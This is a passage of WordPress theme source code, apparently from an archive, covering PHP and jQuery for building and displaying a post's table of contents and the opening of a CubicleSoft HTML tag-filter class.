			// if blank, then prepend with the fragment prefix
			// blank anchors normally appear on sites that don't use the latin charset
			//@since  2.0.59
			if ( ! $return || true == get_theme_mod( 'penci_toc_all_fragment_prefix' ) ) {
				$return = ( get_theme_mod( 'penci_toc_fragment_prefix' ) ) ? get_theme_mod( 'penci_toc_fragment_prefix' ) : '_';
			}

			// hyphenate?
			if ( get_theme_mod( 'penci_toc_hyphenate' ) ) {

				$return = str_replace( '_', '-', $return );
				$return = preg_replace( '/-+/', '-', $return );
			}
		}

		if ( array_key_exists( $return, $this->collision_collector ) ) {

			$this->collision_collector[ $return ] ++;
			$return .= '-' . $this->collision_collector[ $return ];

		} else {

			$this->collision_collector[ $return ] = 1;
		}

		return apply_filters( 'penci_toc_url_anchor_target', $return, $heading );
	}

	private function removeEmptyHeadings( &$matches ) {

		$new_matches = array();
		foreach ( $matches as $i => $match ) {

			if ( trim( wp_strip_all_tags( $matches[ $i ][0] ) ) != false ) {

				$new_matches[ $i ] = $matches[ $i ];
			}
		}


		$matches = $new_matches;

		return $matches;
	}

	public function hasTOCItems() {

		return $this->hasTOCItems;
	}

	public function getHeadings( $page = null ) {

		$headings = array();

		if ( is_null( $page ) ) {

			$page = $this->getCurrentPage();
		}

		if ( ! empty( $this->pages ) || isset( $this->pages[ $page ] ) ) {

			$matches = $this->getHeadingsfromPageContents( $page );

			foreach ( $matches as $i => $match ) {

				$headings[] = str_replace(
					array(
						$matches[ $i ][1],                // start of heading
						'</h' . $matches[ $i ][2] . '>'   // end of heading
					),
					array(
						'>',
						'</h' . $matches[ $i ][2] . '>'
					),
					apply_filters( 'penci_toc_content_heading_title', $matches[ $i ][0] )
				);

			}
		}

		return $headings;
	}

	public function getTocTitleId( $page = null ) {
		$nav_data = array();
		if ( is_null( $page ) ) {
			$page = $this->getCurrentPage();
		}
		if ( ! empty( $this->pages ) || isset( $this->pages[ $page ] ) ) {
			$matches = $this->getHeadingsfromPageContents( $page );
			foreach ( $matches as $i => $match ) {
				$nav_data[ $i ]['title'] = wp_strip_all_tags( $matches[ $i ][0] );
				$nav_data[ $i ]['id']    = strtolower( str_replace( '_', '-', $matches[ $i ]['id'] ) );
			}
		}

		return $nav_data;
	}

	public function getHeadingsWithAnchors( $page = null ) {

		$headings = array();

		if ( is_null( $page ) ) {

			$page = $this->getCurrentPage();
		}

		if ( ! empty( $this->pages ) || isset( $this->pages[ $page ] ) ) {

			$matches = $this->getHeadingsfromPageContents( $page );
			$prefix  = get_theme_mod( 'penci_toc_prefix', 'penci' );
			$prefix  = $prefix ? $prefix . '-' : '';
			foreach ( $matches as $i => $match ) {

				$anchor = $matches[ $i ]['id'];

				$headings[] = str_replace(
					array(
						$matches[ $i ][1],                // start of heading
						'</h' . $matches[ $i ][2] . '>'   // end of heading
					),
					array(
						'><span class="penci-toc-section" id="' . $prefix . $anchor . '"></span>',
						'<span class="penci-toc-section-end"></span></h' . $matches[ $i ][2] . '>'
					),
					apply_filters( 'penci_toc_content_heading_title_anchor', $matches[ $i ][0] )
				);
			}
		}

		return $headings;
	}

	public function setContent( $content ) {

		$pages = array();
		$split = preg_split( '/<!--nextpage-->/msuU', $content );

		$page          = $first_page = 1;
		$totalHeadings = [];
		if ( is_array( $split ) ) {


			foreach ( $split as $content ) {

				$this->extractExcludedNodes( $page, $content );

				$totalHeadings[] = array(
					'headings' => $this->extractHeadings( $content, $page ),
					'content'  => $content,
				);

				$page ++;
			}

		}
		$pages[ $first_page ] = $totalHeadings;

		$this->pages = $pages;
	}

	private function getHeadingsfromPageContents( $page = 1 ) {
		$headings   = [];
		$first_page = 1;
		foreach ( $this->pages[ $first_page ] as $attributes ) {
			if ( isset( $attributes['headings'][0]['page'] ) && $page == $attributes['headings'][0]['page'] ) {
				foreach ( $attributes['headings'] as $heading ) {
					array_push( $headings, $heading );
				}
			}
		}

		return $headings;
	}

	private function createTOCParent( $prefix = "penci-toc", $toc_more = array() ) {
		$html       = '';
		$first_page = 1;
		$headings   = array();
		foreach ( $this->pages[ $first_page ] as $attribute ) {
			$headings = array_merge( $headings, $attribute['headings'] );
		}

		if ( ! empty( $headings ) ) {
			$html .= $this->createTOC( $first_page, $headings, $prefix, $toc_more );
		}

		return $html;
	}

	public function getTOCList( $prefix = "penci-toc", $options = [] ) {

		$html = '';

		$toc_more = isset( $options['view_more'] ) ? array( 'view_more' => $options['view_more'] ) : array();

		if ( isset( $options['hierarchy'] ) ) {
			$toc_more['hierarchy'] = true;
		} elseif ( isset( $options['no_hierarchy'] ) ) {
			$toc_more['no_hierarchy'] = true;
		}

		if ( isset( $options['collapse_hd'] ) ) {
			$toc_more['collapse_hd'] = true;
		} elseif ( isset( $options['no_collapse_hd'] ) ) {
			$toc_more['no_collapse_hd'] = true;
		}

		if ( $this->hasTOCItems ) {
			$html = $this->createTOCParent( $prefix, $toc_more );
			$html = apply_filters( 'penci_toc_add_custom_links', $html );
			$html = "<ul class='{$prefix}-list {$prefix}-list-level-1' >" . $html . "</ul>";
		}

		return $html;
	}

	public function getTOC( $options = [] ) {

		$class  = array( 'penci-toc-wrapper' );
		$max_lv = get_theme_mod( 'penci_toc_levels', 3 );
		$html   = '';

		if ( $this->hasTOCItems() ) {

			switch ( get_theme_mod( 'penci_toc_wrapping' ) ) {
				case 'left':
					$class[] = 'penci-toc-wrap-left';
					break;
				case 'right':
					$class[] = 'penci-toc-wrap-right';
					break;
				default:
					$class[] = 'penci-toc-default';
			}

			if ( get_theme_mod( 'penci_toc_show_hierarchy', true ) ) {
				$class[] = 'counter-hierarchy';
			} else {
				$class[] = 'counter-flat';
			}
			switch ( get_theme_mod( 'penci_toc_counter', 'decimal' ) ) {
				case 'numeric':
					$class[] = 'counter-numeric';
					break;
				case 'roman':
					$class[] = 'counter-roman';
					break;
				case 'decimal':
					$class[] = 'counter-decimal';
					break;
			}

			$class[] = 'penci-toc-container';
			$class[] = 'max-lv-' . $max_lv;
			$class[] = get_theme_mod( 'penci_toc_style' );
			$class[] = get_theme_mod( 'penci_toc_visibility' ) ? 'dis-toggle' : 'enable-toggle';

			$class        = array_filter( $class );
			$class        = array_map( 'trim', $class );
			$class        = array_map( 'sanitize_html_class', $class );
			$sticky_class = 'sticky-' . get_theme_mod( 'penci_toc_sticky', 'left' );

			$html .= '<div class="penci-toc-container-wrapper ' . $sticky_class . '"><div id="penci-toc-container" class="' . implode( ' ', $class ) . '">' . PHP_EOL;

			$html .= $this->get_css_based_toc_heading( $options );

			ob_start();
			do_action( 'penci_toc_before' );
			$html .= ob_get_clean();

			$html .= '<nav class="penci-toc">' . $this->getTOCList( 'penci-toc', $options ) . '</nav>';

			ob_start();
			do_action( 'penci_toc_after' );
			$html .= ob_get_clean();

			$html .= '</div></div>' . PHP_EOL;

		}

		return apply_filters( 'pencitoc_autoinsert_final_toc_html', $html );
	}

	//css based heaing function
	private function get_css_based_toc_heading( $options ) {

		$toc_title = penci_get_setting( 'penci_toc_heading_text' );
		if ( strpos( $toc_title, '%PAGE_TITLE%' ) !== false ) {
			$toc_title = str_replace( '%PAGE_TITLE%', get_the_title(), $toc_title );
		}
		if ( strpos( $toc_title, '%PAGE_NAME%' ) !== false ) {
			$toc_title = str_replace( '%PAGE_NAME%', get_the_title(), $toc_title );
		}

		$html = '<div class="penci-toc-head penci-toc-title-container">' . PHP_EOL;
		if ( penci_get_setting( 'penci_toc_heading_text' ) ) {
			$html .= '<p class="penci-toc-title">' . esc_html__( htmlentities( $toc_title, ENT_COMPAT, 'UTF-8' ), 'soledad' ) . '</p>' . PHP_EOL;
		}
		$html .= '<span class="penci-toc-title-toggle">';
		if ( ! get_theme_mod( 'penci_toc_visibility' ) ) {
			$html .= '<a class="penci-toc-toggle penci-toc-title-toggle" style="display: none;"></a>';
		}
		$html .= '</span>';
		$html .= '</div>' . PHP_EOL;

		return $html;
	}

	public function toc() {
		//phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output is escaped in getTOC()
		echo $this->getTOC();
	}

	private function createTOC( $page, $matches, $prefix = "penci-toc", $toc_more = array() ) {

		// Whether or not the TOC should be built flat or hierarchical.
		$hierarchical = get_theme_mod( 'penci_toc_show_hierarchy', true );

		if ( isset( $toc_more['hierarchy'] ) ) {
			$hierarchical = true;
		} elseif ( isset( $toc_more['no_hierarchy'] ) ) {
			$hierarchical = false;
		}

		$html = $toc_type = $collapse_status = '';

		if ( isset( $toc_more['collapse_hd'] ) ) {
			$collapse_status = true;
		} elseif ( isset( $toc_more['no_collapse_hd'] ) ) {
			$collapse_status = false;
		}

		$count_matches = is_array( $matches ) ? count( $matches ) : '';

		$toc_type = get_theme_mod( 'penci_toc_toc_loading' );

		if ( $hierarchical ) {

			//To not show view more in Hierarchy
			unset( $toc_more['view_more'] );

			$current_depth      = 100;    // headings can't be larger than h6 but 100 as a default to be sure
			$numbered_items     = array();
			$numbered_items_min = null;

			// find the minimum heading to establish our baseline
			foreach ( $matches as $i => $match ) {
				if ( $current_depth > $matches[ $i ][2] ) {
					$current_depth = (int) $matches[ $i ][2];
				}
			}

			$numbered_items[ $current_depth ] = 0;
			$numbered_items_min               = $current_depth;

			foreach ( $matches as $i => $match ) {

				$level = $matches[ $i ][2];
				$count = $i + 1;

				if ( $current_depth == (int) $matches[ $i ][2] ) {

					$html .= "<li class='{$prefix}-page-" . $page . " {$prefix}-heading-level-" . $current_depth . "'>";
				}

				// start lists
				if ( $current_depth != (int) $matches[ $i ][2] ) {

					for ( $current_depth; $current_depth < (int) $matches[ $i ][2]; $current_depth ++ ) {

						$numbered_items[ $current_depth + 1 ] = 0;
						//Hide Level 4 Headings
						$sub_active = '';
						if ( $level > 3 ) {
							$sub_active = apply_filters( 'penci_toc_hierarchy_js_add_attr', $sub_active, $collapse_status );
						}
						$html .= "<ul class='{$prefix}-list-level-" . $level . "' " . $sub_active . "><li class='{$prefix}-heading-level-" . $level . "'>";
					}
				}

				$title = isset( $matches[ $i ]['alternate'] ) ? $matches[ $i ]['alternate'] : $matches[ $i ][0];
				//check for line break
				if ( ! get_theme_mod( 'penci_toc_prsrv_line_brk' ) ) {
					$title = br2( $title, ' ' );
				}
				$title = penci_toc_wp_strip_all_tags( apply_filters( 'penci_toc_title', $title ) );

				$html .= $this->createTOCItemAnchor( $matches[ $i ]['page'], $matches[ $i ]['id'], $title, $count );

				// end lists
				if ( $i != count( $matches ) - 1 ) {

					if ( $current_depth > (int) $matches[ $i + 1 ][2] ) {

						for ( $current_depth; $current_depth > (int) $matches[ $i + 1 ][2]; $current_depth -- ) {

							$html                             .= '</li></ul>';
							$numbered_items[ $current_depth ] = 0;
						}
					}

					if ( $current_depth == (int) $matches[ $i + 1 ][2] ) {

						$html .= '</li>';
					}

				} else {

					// this is the last item, make sure we close off all tags
					for ( $current_depth; $current_depth >= $numbered_items_min; $current_depth -- ) {

						$html .= '</li>';

						if ( $current_depth != $numbered_items_min ) {
							$html .= '</ul>';
						}
					}
				}
			}

		} else {
			if ( is_array( $matches ) ) {
				foreach ( $matches as $i => $match ) {
					$count = $i + 1;
					$title = isset( $matches[ $i ]['alternate'] ) ? $matches[ $i ]['alternate'] : $matches[ $i ][0];
					$title = penci_toc_wp_strip_all_tags( apply_filters( 'penci_toc_title', $title ) );
					$html  .= "<li class='{$prefix}-page-" . $page . "'>";
					$html  .= $this->createTOCItemAnchor( $matches[ $i ]['page'], $matches[ $i ]['id'], $title, $count );
					$html  .= '</li>';
				}
			}
		}

		$html = apply_filters( 'penci_toc_pro_html_modifier', $html, $toc_more, $count_matches, $toc_type );

		return do_shortcode( $html );
	}

	private function createTOCItemAnchor( $page, $id, $title, $count ) {
		if ( get_theme_mod( 'penci_toc_remove_special_chars_from_title' ) ) {
			$title = str_replace( ':', '', $title );
		}

		$anch_name = 'href';
		if ( get_theme_mod( 'penci_toc_loading' ) == 'js' && get_theme_mod( 'penci_toc_smooth_scroll' ) && get_theme_mod( 'penci_toc_avoid_anch_jump' ) ) {
			$anch_name = 'href="#" data-href';
		}

		$rel = get_theme_mod( 'penci_toc_nofollow_link' ) ? ' rel="nofollow" ' : ' ';

		return sprintf(
			'<a' . $rel . 'class="penci-toc-link penci-toc-heading-' . $count . '" ' . $anch_name . '="%1$s" title="%2$s">%3$s</a>',
			esc_url( $this->createTOCItemURL( $id, $page ) ),
			esc_attr( wp_strip_all_tags( $title ) ),
			$title
		);
	}

	private function createTOCItemURL( $id, $page ) {

		$prefix = get_theme_mod( 'penci_toc_prefix', 'penci' );
		$prefix = $prefix ? $prefix . '-' : '';

		$current_post = $this->post->ID === $this->queriedObjectID;
		$current_page = $this->getCurrentPage();

		$anch_url = $this->permalink;

		if ( get_theme_mod( 'penci_toc_ajax_load_more' ) && isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) {
			$anch_url = $_SERVER['HTTP_REFERER'];
		}

		if ( $page === $current_page && $current_post ) {

			return ( get_theme_mod( 'penci_toc_add_request_uri' ) ? $_SERVER['REQUEST_URI'] : '' ) . '#' . $prefix . $id;

		} elseif ( 1 === $page ) {
			// Fix for wrong links on TOC on Wordpress category page
			if ( is_category() || is_tax() || is_tag() || ( function_exists( 'is_product_category' ) && is_product_category() ) ) {
				return '#' . $id;
			}

			return trailingslashit( $anch_url ) . '#' . $prefix . $id;

		}

		return trailingslashit( $anch_url ) . $page . '/#' . $prefix . $id;
	}

	private function stripShortcodesButKeepContent( $content ) {
		// Regex pattern to match the specific shortcodes
		$shortcodes = apply_filters( 'penci_toc_strip_shortcodes_with_inner_content', [] );
		if ( ! empty( $shortcodes ) && is_array( $shortcodes ) ) {

			$pattern = '/\[(' . implode( '|', $shortcodes ) . ')(?:\s[^\]]*)?\](.*?)\[\/\1\]|\[(' . implode( '|', $shortcodes ) . ')(?:\s[^\]]*)?\/?\]/s';

			// Function to recursively strip shortcodes
			while ( preg_match( $pattern, $content ) ) {
				$content = preg_replace_callback( $pattern, function ( $matches ) {
					if ( isset( $matches[2] ) ) {
						return $matches[2]; // Keep content inside shortcode
					}

					return ''; // Remove self-closing shortcode
				}, $content );
			}

		}

		return $content;
	}
}PK     2w\捦7  7    toc/penci-toc.jsnu [        jQuery(document).ready(function ($) {

    function penci_init_toc() {

        if (typeof PenciTOC != 'undefined') {

            $('article.post').each(function () {
                var $post = $(this),
                    $sticky = $post.find('.penci-toc-container-wrapper'),
                    $stickyrStopper = $post.find('.post-entry'),
                    $stickC = $sticky.clone();


                $stickC.addClass('penci-sticky-toc');
                $stickC.find('.penci-toc-container')
                    .attr('id', 'penci-toc-sticky-container')
                    .addClass('hide-table');
                $stickC.find('a.penci-toc-toggle').addClass('sticky-toggle');
                if ($('body').hasClass('penci-aw-sticky')) {
                    $stickC.addClass('tocSticky');
                }
                $stickyrStopper.append($stickC);

                if (!!$sticky.offset()) { // make sure ".sticky" element exists

                    var asticky = $('body').hasClass('penci-aw-sticky'),
                        generalSidebarHeight = asticky ? 0 : $sticky.innerHeight(),
                        stickyTop = asticky ? 0 : $sticky.offset().top,
                        stickOffset = asticky ? 0 : 120,
                        innerset = stickOffset - generalSidebarHeight - 60,
                        outerset = stickOffset - $stickyrStopper.innerHeight() + 60;

                    $(window).scroll(function () {
                        var windowTop = $(window).scrollTop(),

                            shouldAddClass = asticky ? stickyTop > windowTop + outerset : stickyTop < windowTop + innerset && stickyTop > windowTop + outerset;

                        $stickC.toggleClass('tocSticky', shouldAddClass);


                        
                    });

                }
            });

            if (window.location.hash) {

                var path = window.location.hash;

                if (path.startsWith("#" + PenciTOC.prefix)) {

                    var offset = -120,
                        hash = window.location.hash.substring(1);

                    if (!hash) {
                        return;
                    }

                    var sel = '[id="' + hash + '"], a[name="' + hash + '"]';
                    var currentOffset = $(sel).offset().top;

                    // smooth scroll to the anchor id
                    $('html, body').animate({
                        scrollTop: (currentOffset + offset) + 'px'
                    }, 1000, 'swing');
                }
            }


            $.fn.shrinkTOCWidth = function () {

                $(this).css({
                    width: 'auto',
                    display: 'table'
                });

                if (/MSIE 7\./.test(navigator.userAgent))
                    $(this).css('width', '');
            };

            var smoothScroll = parseInt(PenciTOC.smooth_scroll);

            if (1 === smoothScroll) {

                $('a.penci-toc-link').off().on('click', function () {

                    var self = $(this);

                    var target = '';
                    var hostname = self.prop('hostname');
                    var pathname = self.prop('pathname');
                    var qs = self.prop('search');
                    var hash = self.prop('hash');

                    // ie strips out the preceding / from pathname
                    if (pathname.length > 0) {
                        if (pathname.charAt(0) !== '/') {
                            pathname = '/' + pathname;
                        }
                    }

                    if ((window.location.hostname === hostname) &&
                        (window.location.pathname === pathname) &&
                        (window.location.search === qs) &&
                        (hash !== '')
                    ) {
                        // var id = decodeURIComponent( hash.replace( '#', '' ) );
                        //target = '[id="' + hash.replace('#', '') + '"]';
                        target = $(this).attr('href');

                        var parentClass;
                        if ($('.penci-single-infiscroll').length) {
                            parentClass = $(this).closest('.penci-single-block').find('#main article').attr('id');
                        }

                        if (typeof parentClass !== 'undefined' && parentClass !== false) {
                            target = '#' + parentClass + ' ' + target;
                        }

                        // verify it exists
                        if ($(target).length === 0) {
                            console.log('PenciTOC scrollTarget Not Found: ' + target);
                            target = '';
                        }

                        // check offset setting
                        if (typeof PenciTOC.scroll_offset != 'undefined') {

                            var offset = -1 * PenciTOC.scroll_offset;

                        } else {

                            var adminbar = $('#wpadminbar');

                            if (adminbar.length > 0) {

                                if (adminbar.is(':visible'))
                                    offset = -30;	// admin bar exists, give it the default
                                else
                                    offset = 0;		// there is an admin bar but it's hidden, so no offset!

                            } else {

                                // no admin bar, so no offset!
                                offset = 0;
                            }
                        }

                        if (target) {
                            $.smoothScroll({
                                scrollTarget: target,
                                offset: offset,
                                beforeScroll: deactivateSetActivePenciTocListElement,
                                afterScroll: function () {
                                    setActivePenciTocListElement();
                                    activateSetActivePenciTocListElement();
                                }
                            });
                        }
                    }
                });
            }

            if (typeof PenciTOC.visibility_hide_by_default != 'undefined') {

                $('article.post').each(function () {

                    var post = $(this),
                        toc = post.find('.penci-toc-container-wrapper:not(.penci-sticky-toc) ul.penci-toc-list'),
                        toggle = post.find('a.penci-toc-toggle:not(.sticky-toggle)'),
                        wrapper = post.find('.penci-toc-container-wrapper:not(.penci-sticky-toc) .penci-toc-wrapper'),
                        swrapper = post.find('.penci-sticky-toc .penci-toc-wrapper'),
                        mswrapper = post.find('.penci-sticky-toc'),
                        stoggle = post.find('.penci-sticky-toc a.sticky-toggle'),
                        stoc = post.find('.penci-sticky-toc ul.penci-toc-list'),
                        invert = PenciTOC.visibility_hide_by_default;

                    toggle.css('display', 'inline');
                    stoggle.css('display', 'inline');

                    if (Cookies) {

                        Cookies.get('penciTOC_hidetoc') == 1 ? toggle.data('visible', false) : toggle.data('visible', true);

                    } else {

                        toggle.data('visible', true);
                    }

                    if (invert) {

                        toggle.data('visible', false)
                    }

                    if (!toggle.data('visible')) {

                        toc.hide();
                        wrapper.removeClass('show-table').addClass('hide-table');
                    }

                    toggle.off().on('click', function (event) {

                        event.preventDefault();

                        if ($(this).data('visible')) {

                            $(this).data('visible', false);

                            if (Cookies) {

                                if (invert)
                                    Cookies.set('penciTOC_hidetoc', null, {path: '/'});
                                else
                                    Cookies.set('penciTOC_hidetoc', '1', {expires: 30, path: '/'});
                            }

                            toc.hide('fast');
                            wrapper.removeClass('show-table').addClass('hide-table');

                        } else {

                            $(this).data('visible', true);

                            if (Cookies) {

                                if (invert)
                                    Cookies.set('penciTOC_hidetoc', '1', {expires: 30, path: '/'});
                                else
                                    Cookies.set('penciTOC_hidetoc', null, {path: '/'});
                            }

                            toc.show('fast');
                            wrapper.removeClass('hide-table').addClass('show-table');

                        }

                    });

                    stoggle.data('visible', false);
                    stoc.hide();
                    mswrapper.addClass('hide-table');

                    stoggle.off().on('click', function (event) {
                        event.preventDefault();
                        if ($(this).data('visible')) {
                            $(this).data('visible', false);
                            stoc.hide('fast');
                            swrapper.removeClass('show-table').addClass('hide-table');
                            mswrapper.removeClass('show-table').addClass('hide-table');
                        } else {
                            $(this).data('visible', true);
                            stoc.show('fast');
                            swrapper.removeClass('hide-table').addClass('show-table');
                            mswrapper.removeClass('hide-table').addClass('show-table');
                        }
                    });
                });
            }

            // ======================================
            // Set active heading in penci-toc-widget list
            // ======================================

            var getPenciTocListElementLinkByHeading = function (heading) {
                return $('.penci-sticky-toc .penci-toc-list a[href="#' + $(heading).attr('id') + '"]');
            }

            var getHeadingToListElementLinkMap = function (headings) {
                return headings.reduce(function (map, heading) {
                    map[heading.id] = getPenciTocListElementLinkByHeading(heading);
                    return map;
                }, {});
            }

            var headings = $('span.penci-toc-section').toArray();
            var headingToListElementLinkMap = getHeadingToListElementLinkMap(headings);
            var listElementLinks = $.map(headingToListElementLinkMap, function (value, key) {
                return value
            });

            var getScrollOffset = function () {
                var scrollOffset = 5; // so if smooth offset is off, the correct title is set as active
                if (typeof PenciTOC.smooth_scroll != 'undefined' && parseInt(PenciTOC.smooth_scroll) === 1) {
                    scrollOffset = (typeof PenciTOC.scroll_offset != 'undefined') ? parseInt(PenciTOC.scroll_offset) : 30;
                }

                var adminbar = $('#wpadminbar');

                if (adminbar.length) {
                    scrollOffset += adminbar.height();
                }
                return scrollOffset;
            }

            var scrollOffset = getScrollOffset();

            var activateSetActivePenciTocListElement = function () {
                if (headings.length > 0 && $('.penci-sticky-toc').length) {
                    $(window).on('load resize scroll', setActivePenciTocListElement);
                }
            }

            activateSetActivePenciTocListElement();

            var setActivePenciTocListElement = function () {
                var activeHeading = getActiveHeading(scrollOffset, headings);
                if (activeHeading) {
                    var activeListElementLink = headingToListElementLinkMap[activeHeading.id];
                    removeStyleFromNonActiveListElement(activeListElementLink, listElementLinks);
                    setStyleForActiveListElementElement(activeListElementLink);
                }
            }

            var deactivateSetActivePenciTocListElement = function () {
                $(window).off('load resize scroll', setActivePenciTocListElement);
            }


            var getActiveHeading = function (topOffset, headings) {
                var scrollTop = $(window).scrollTop();
                var relevantOffset = scrollTop + topOffset + 1;
                var activeHeading = headings[0];
                var closestHeadingAboveOffset = relevantOffset - $(activeHeading).offset().top;
                headings.forEach(function (section) {
                    var topOffset = relevantOffset - $(section).offset().top;
                    if (topOffset > 0 && topOffset < closestHeadingAboveOffset) {
                        closestHeadingAboveOffset = topOffset;
                        activeHeading = section;
                    }
                });
                return activeHeading;
            }

            var removeStyleFromNonActiveListElement = function (activeListElementLink, listElementLinks) {
                listElementLinks.forEach(function (listElementLink) {
                    if (activeListElementLink !== listElementLink && listElementLink.parent().hasClass('active')) {
                        listElementLink.parent().removeClass('active');
                    }
                });
            }

            var setStyleForActiveListElementElement = function (activeListElementLink) {
                var activeListElement = activeListElementLink.parent();
                if (!activeListElement.hasClass('active')) {
                    activeListElement.addClass('active');
                }
            }
        }
    }

    penci_init_toc();

    $('body').on('single_loaded_more', function () {
        penci_init_toc();
    });
});
PK     2w\-5    toc/tag_filter.phpnu [        <?php
	// CubicleSoft PHP Tag Filter class.  Can repair broken HTML.
	// (C) 2020 CubicleSoft.  All Rights Reserved.

	class TagFilterStream
	{
		protected $lastcontent, $lastresult, $final, $options, $stack;

		public function __construct($options = array())
		{
			$this->Init($options);
		}

		public function Init($options = array())
		{
			if (!isset($options["keep_attr_newlines"]))  $options["keep_attr_newlines"] = false;
			if (!isset($options["keep_comments"]))  $options["keep_comments"] = false;
			if (!isset($options["allow_namespaces"]))  $options["allow_namespaces"] = true;
			if (!isset($options["process_attrs"]))  $options["process_attrs"] = array();
			if (!isset($options["charset"]))  $options["charset"] = "UTF-8";
			$options["charset"] = strtoupper($options["charset"]);
			if (!isset($options["charset_tags"]))  $options["charset_tags"] = true;
			if (!isset($options["charset_attrs"]))  $options["charset_attrs"] = true;
			if (!isset($options["tag_name_map"]))  $options["tag_name_map"] = array();
			if (!isset($options["untouched_tag_attr_keys"]))  $options["untouched_tag_attr_keys"] = array();
			if (!isset($options["void_tags"]))  $options["void_tags"] = array();
			if (!isset($options["alt_tag_content_rules"]))  $options["alt_tag_content_rules"] = array();
			if (!isset($options["pre_close_tags"]))  $options["pre_close_tags"] = array();
			if (!isset($options["output_mode"]))  $options["output_mode"] = "html";
			if (!isset($options["lowercase_tags"]))  $options["lowercase_tags"] = true;
			if (!isset($options["lowercase_attrs"]))  $options["lowercase_attrs"] = true;
			$options["tag_num"] = 0;

			$this->lastcontent = "";
			$this->lastresult = "";
			$this->final = false;
			$this->options = $options;
			$this->stack = array();
		}

		public function Process($content)
		{
			if ($this->lastcontent !== "")  $content = $this->lastcontent . $content;

			$result = $this->lastresult;
			$this->lastresult = "";
			$tag = false;
			$a = ord("A");
			$a2 = ord("a");
			$f = ord("F");
			$f2 = ord("f");
			$z = ord("Z");
			$z2 = ord("z");
			$hyphen = ord("-");
			$underscore = ord("_");
			$period = ord(".");
			$colon = ord(":");
			$zero = ord("0");
			$nine = ord("9");
			$cx = 0;
			$cy = strlen($content);
			while ($cx < $cy)
			{
				if ($tag)
				{
					$firstcx = $cx;

					// First character is '<'.  Extract all non-alpha chars.
					$prefix = "";
					$startpos = $cx + 1;
					for ($x = $startpos; $x < $cy; $x++)
					{
						$val = ord($content[$x]);
						if (($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2))
						{
							if ($x > $cx + 1)  $prefix = ltrim(substr($content, $cx + 1, $x - $cx - 1));
							$startpos = $x;

							break;
						}
					}

					if ($prefix === "")  $open = true;
					else
					{
						if ($prefix[0] === "!")
						{
							// !DOCTYPE vs. comment.
							if (substr($prefix, 0, 3) !== "!--")
							{
								$prefix = "!";
								$open = true;
							}
							else
							{
								// Comment.
								$pos = strpos($content, "!--", $cx);
								$pos2 = strpos($content, "-->", $pos + 3);
								if ($pos2 === false)
								{
									if (!$this->final)
									{
										$cx = $firstcx;

										break;
									}

									$pos2 = $cy;
								}

								if ($this->options["keep_comments"])
								{
									$content2 = substr($content, $pos + 3, $pos2 - $pos - 3);
									if ($this->options["charset"] === "UTF-8" && !self::IsValidUTF8($content2))  $content2 = self::MakeValidUTF8($content2);
									$content2 = "<!-- " . trim(htmlspecialchars($content2, ENT_COMPAT | ENT_HTML5, $this->options["charset"])) . " -->";

									// Let a callback handle any necessary changes.
									if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

									$result .= $content2;
								}
								$cx = $pos2 + 3;

								$tag = false;

								continue;
							}
						}
						else if ($prefix[0] === "/")
						{
							// Close tag.
							$prefix = "/";
							$open = false;
						}
						else if ($prefix[0] === "<")
						{
							// Stray less than.  Encode and reset.
							$content2 = "&lt;";

							// Let a callback handle any necessary changes.
							if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

							$result .= $content2;
							$cx++;

							continue;
						}
						else
						{
							// Unknown.  Encode it.
							$data = substr($content, $cx, strpos($content, $prefix, $cx) + strlen($prefix) - $cx);
							$content2 = $data;
							if ($this->options["charset"] === "UTF-8" && !self::IsValidUTF8($content2))  $content2 = self::MakeValidUTF8($content2);
							$content2 = htmlspecialchars($content2, ENT_COMPAT | ENT_HTML5, $this->options["charset"]);

							// Let a callback handle any necessary changes.
							if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

							$result .= $content2;
							$cx += strlen($data);

							$tag = false;

							continue;
						}
					}

					// Read the tag name.
					$tagname = "";
					$parse = false;
					$cx = $startpos;
					for (; $cx < $cy; $cx++)
					{
						$val = ord($content[$cx]);
						if ($val > 127)  $parse = true;
						else if (!(($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2) || ($cx > $startpos && (($val >= $zero && $val <= $nine) || $val == $hyphen || $val == $underscore || $val == $period)) || ($this->options["allow_namespaces"] && $val == $colon)))  break;
					}
					$tagname = substr($content, $startpos, $cx - $startpos);
					if ($parse)
					{
						if ($this->options["charset_tags"] && $this->options["charset"] === "UTF-8")  $tagname = (self::IsValidUTF8($tagname) ? $tagname : self::MakeValidUTF8($tagname));
						else  $tagname = preg_replace(($this->options["allow_namespaces"] ? '/[^A-Za-z0-9:._-]/' : '/[^A-Za-z0-9._-]/'), "", $tagname);
					}
					$tagname = rtrim($tagname, "._-:");
					if (!$this->options["charset_tags"])  $tagname = preg_replace('/[^A-Za-z0-9:]/', "", $tagname);
					$outtagname = ($this->options["lowercase_tags"] ? strtolower($tagname) : $tagname);
					$tagname = strtolower($tagname);

					// Close open tags in the stack that match the set of tags to look for to close.
					if ($open && isset($this->options["pre_close_tags"][$tagname]))
					{
						// Find matches.
						$info2 = $this->options["pre_close_tags"][$tagname];
						$limit = (isset($info2["_limit"]) ? $info2["_limit"] : array());
						if (is_string($limit))  $limit = array($limit => true);

						// Unwind the stack.
						do
						{
							$found = false;
							foreach ($this->stack as $info)
							{
								if (isset($info2[$info["tag_name"]]))
								{
									$found = true;

									break;
								}

								if (isset($limit[$info["tag_name"]]))  break;
							}

							if ($found)
							{
								do
								{
									// Let a callback handle any necessary changes.
									$attrs = array();
									if (isset($this->options["tag_callback"]) && is_callable($this->options["tag_callback"]))  $funcresult = call_user_func_array($this->options["tag_callback"], array($this->stack, &$result, false, "/" . $this->stack[0]["tag_name"], &$attrs, $this->options));
									else  $funcresult = array();

									if (!isset($funcresult["keep_tag"]))  $funcresult["keep_tag"] = true;

									$info = array_shift($this->stack);

									$result = $info["result"] . ($funcresult["keep_tag"] ? $info["open_tag"] : "") . ($info["keep_interior"] ? $result : "");
									if ($info["close_tag"] && $funcresult["keep_tag"])  $result .= "</" . $info["out_tag_name"] . ">" . $info["post_tag"];
